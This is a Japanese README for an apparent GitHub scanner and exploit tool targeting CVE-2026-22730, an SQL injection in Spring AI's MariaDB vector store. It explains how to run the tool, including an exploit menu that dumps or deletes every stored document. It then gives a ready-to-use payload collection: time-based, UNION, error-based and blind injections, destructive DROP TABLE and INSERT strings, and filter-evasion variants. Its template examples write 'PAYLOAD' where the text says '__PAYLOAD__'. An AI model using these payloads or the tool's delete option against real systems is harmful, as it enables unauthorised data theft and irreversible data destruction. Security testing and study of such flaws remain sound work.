
CVE-2026-22730用のスキャナおよびエクスプロイトツール。Spring AIのMariaDBベクターストアにおけるSQLインジェクションです。時間ベースの検出、GET/POSTメソッド、レポート付きのエクスプロイトをサポートします。
CVE-2026-22730 スキャナー&エクスプロイト – Spring AI MariaDB Vector Store SQLインジェクション
CVE-2026-22730 – Spring AIのMariaDBベクターストアで発見された重大なSQLインジェクション脆弱性に対する、プロフェッショナルなセキュリティ評価ツールです。このツールにより、認定されたペネトレーションテスターやセキュリティ研究者は、教育目的または防御目的でこの脆弱性を検出し、安全に悪用することができます。
📖 概要
CVE-2026-22730は、MariaDBベクターストアを使用する場合に、Spring AIバージョン1.0.x < 1.0.4および1.1.x < 1.1.3に影響を与えます。フィルター式内の文字列値のエスケープ処理が不適切なため、攻撃者はユーザー制御のパラメーター(例:メタデータフィルター)を介して任意のSQLを注入できます。これにより、以下が発生する可能性があります:
不正なデータ取得 – メタデータベースのアクセス制御をバイパス
データベース全体の削除 – ベクターストア全体を消去(破壊的)
サイレントなデータ漏洩 – RAGパイプラインでは、漏洩したデータが検出されることなくLLM応答に組み込まれます
このツールは、認定されたセキュリティ評価中に(明示的な同意を得て)脆弱性の存在を検証し、その影響を実証するための、安全で設定可能な方法を提供します。
🚀 機能
✅ 時間ベースの検出 – SLEEP()インジェクションを使用して脆弱性を確認
✅ 複数のHTTPメソッド – GET(クエリパラメーター)とPOST(JSONボディ)をサポート
✅ カスタムスリープ時間 – ネットワーク遅延やステルス要件に合わせて調整
✅ エクスプロイトオプション – 全ドキュメントの取得(SELECT)または全削除(DELETE)
✅ 包括的なレポート – HTML、JSON、プレーンテキストレポートを生成
✅ ユーザーフレンドリーなCLI – 対話モードと完全なコマンドライン引数
✅ 拡張可能なペイロードシステム – カスタムインジェクション文字列を簡単に統合
📋 要件
Python 3.6以上
requestsライブラリ(pip install requests)
🔧 インストール
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 使用方法
スクリプトは対話モードまたはコマンドライン引数で実行できます。
基本構文
bash
python cve-2026-22730_scanner.py [options]
オプション
オプション 説明
--url ターゲットURL(例:http://localhost:8081/api/docs)
--method HTTPメソッド:GETまたはPOST(デフォルト:GET)
--param GETのクエリパラメーター名、またはPOSTの参照名(オプション)
--json-template __PAYLOAD__プレースホルダーを含むJSONテンプレート(POSTに必須)
--baseline ベースラインリクエスト用の良性値(デフォルト:存在しない値)
--sleep 時間ベース検出用のスリープ秒数(デフォルト:5)
例
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
URL、メソッド、パラメーター/JSONテンプレート、ベースライン、スリープ時間の入力を求められます。
エクスプロイトワークフロー
ターゲットが脆弱であると判明した場合、スクリプトはメニューを表示します:
text
[?] ターゲットは脆弱です。エクスプロイトオプションを選択してください:
1. 全ドキュメントを取得(SELECTインジェクション)
2. 全ドキュメントを削除(DELETEインジェクション)- 破壊的
3. エクスプロイトをスキップ
オプション1は、' OR '1'='1 を送信して全行を取得します(非破壊的、データの読み取りのみ)。
オプション2は、DELETE HTTPメソッドを使用して同じペイロードを送信します – すべてのレコードを完全に削除します。明示的な確認が必要です。
すべてのアクションはログに記録され、最終レポートに含まれます。
📁 出力ファイル
実行のたびに、現在のディレクトリにタイムスタンプ付きの3つのファイルが作成されます:
cve-2026-22730_YYYYMMDD_HHMMSS.json – すべての詳細を含む機械可読なJSONレポート。
cve-2026-22730_YYYYMMDD_HHMMSS.txt – プレーンテキストの要約(エクスプロイトデータがあればそれも含む)。
cve-2026-22730_YYYYMMDD_HHMMSS.html – 共有やアーカイブに適したフォーマット済みHTMLレポート。
⚠️ 重要な免責事項
このツールは、認定されたセキュリティテストおよび教育目的のみを対象としています。
所有していない、またはテストする明示的な許可を得ていないシステムに対する不正使用は、違法かつ非倫理的です。
作者は、このソフトウェアの誤用または損害について一切の責任を負いません。
ターゲットをスキャンまたは悪用する前に、必ず書面による許可を取得してください。
📚 参考文献
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
SecureLayer7によるオリジナル研究記事
🤝 貢献
プルリクエスト、バグ報告、機能提案を歓迎します。大きな変更については、まずissueを開いて議論してください。
📄 ライセンス
このプロジェクトはMITライセンスの下でライセンスされています – 詳細はLICENSEファイルを参照してください。
Nabeelによって❤️を込めて開発されました
PYLOADの例
セキュリティコミュニティのために
📌 これらのペイロードの使用方法
スクリプトでPOSTを--json-templateとともに使用する場合、__PAYLOAD__を以下のリストの任意のペイロードに置き換えてください。
GETリクエストの場合は、ペイロードをパラメーター値として渡すだけです(スクリプトがURLエンコーディングを自動的に処理します)。
🔥 ペイロードカテゴリ
これらは、インジェクションが成功した場合に遅延を引き起こします。脆弱性を確認するために使用します。
ペイロード 説明
' OR SLEEP(5) -- 標準的な時間ベースのペイロード。クエリが約5秒間一時停止した場合、インジェクションが機能しています。
' OR BENCHMARK(10000000,MD5('a')) -- MySQL/MariaDB用の代替(BENCHMARK)。
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- 一部のフィルターをバイパスするためのネストされたスリープ。
' OR 1=1 AND SLEEP(5) -- 常に真の条件とスリープを組み合わせます。
これらはWHERE句を常に真にし、すべてのレコードを返します。
ペイロード 説明
' OR '1'='1 古典的な常に真のインジェクション。
' OR 1=1 -- 別のバリアント(--の後にスペースが必要)。
' OR ''=' 空文字列の比較に依存します。
' OR 1=1# MariaDBコメントに#を使用(URLエンコードは%23)。
' OR 1=1 LIMIT 1 -- 1行のみを返します(制御された出力に便利)。
アプリケーションが結果を表示する場合に便利です。列数を一致させる必要があります。
ペイロード 説明
' UNION SELECT NULL, database(), user(), version() -- データベース名、ユーザー、バージョンを取得。(列数に合わせてNULLの数を調整してください。)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- テーブルを一覧表示。
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- 列を一覧表示。
' UNION SELECT 1, content, metadata FROM vector_store -- 実際のデータをダンプ(列数が一致する場合)。
情報を漏洩させるエラーをトリガーします。
ペイロード 説明
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQLエラーベース。
' AND updatexml(1, concat(0x7e, version()), 1) -- 別のエラーメソッド。
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- 重複キーエラー。
出力やエラーが表示されないが、アプリケーションの動作が変化する場合に便利です。
ペイロード 説明
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- データベース名の最初の文字をチェック。
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- テーブル数をチェック。
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- テーブルの存在をテスト。
破壊的なペイロード(細心の注意を払って使用してください)。
ペイロード 説明
' OR '1'='1 DELETEとともに使用すると、すべての行を削除します。
' OR 1=1; DROP TABLE vector_store -- テーブル全体をドロップしようとします(スタッククエリが必要で、多くの場合無効)。
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- 新しいデータを挿入しようとします。
単純なパターンマッチングを回避するための難読化バージョン。
ペイロード 説明
%27%20OR%20SLEEP(5)%20-- URLエンコード(スクリプトが自動的に処理します)。
' //OR//SLEEP(5)/**/-- キーワードを分割するためのインラインコメント。
' OR 0x273d27=0x273d27 -- 16進エンコードされた比較('=')。
' OR 1=1 /!50000SLEEP(5)/ -- MySQLバージョン固有のコメント。
ペイロード 説明
' OR '1'='1 すべてのドキュメントを取得するために使用(概念実証)。
' OR SLEEP(5) -- スキャナーで使用される時間ベースの検出ペイロード。
' OR '1'='1 DELETEインジェクションにも使用されます。
📝 ペイロード付きのJSONテンプレートの例
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
スクリプトでは、テンプレートを次のように渡します:
bash
--json-template '{"department": "PAYLOAD"}'
スクリプトは__PAYLOAD__を実際のペイロードに置き換えます。
注意 URLについて
スクリプトには、脆弱なパラメーターを受け入れるエンドポイントの完全なURLが必要です。 例:
✅ http://example.com/api/docs – エンドポイントが/api/docsの場合
✅ http://example.com/search – エンドポイントが/searchの場合
❌ http://example.com – 不十分です。スクリプトは正確なパスを必要とします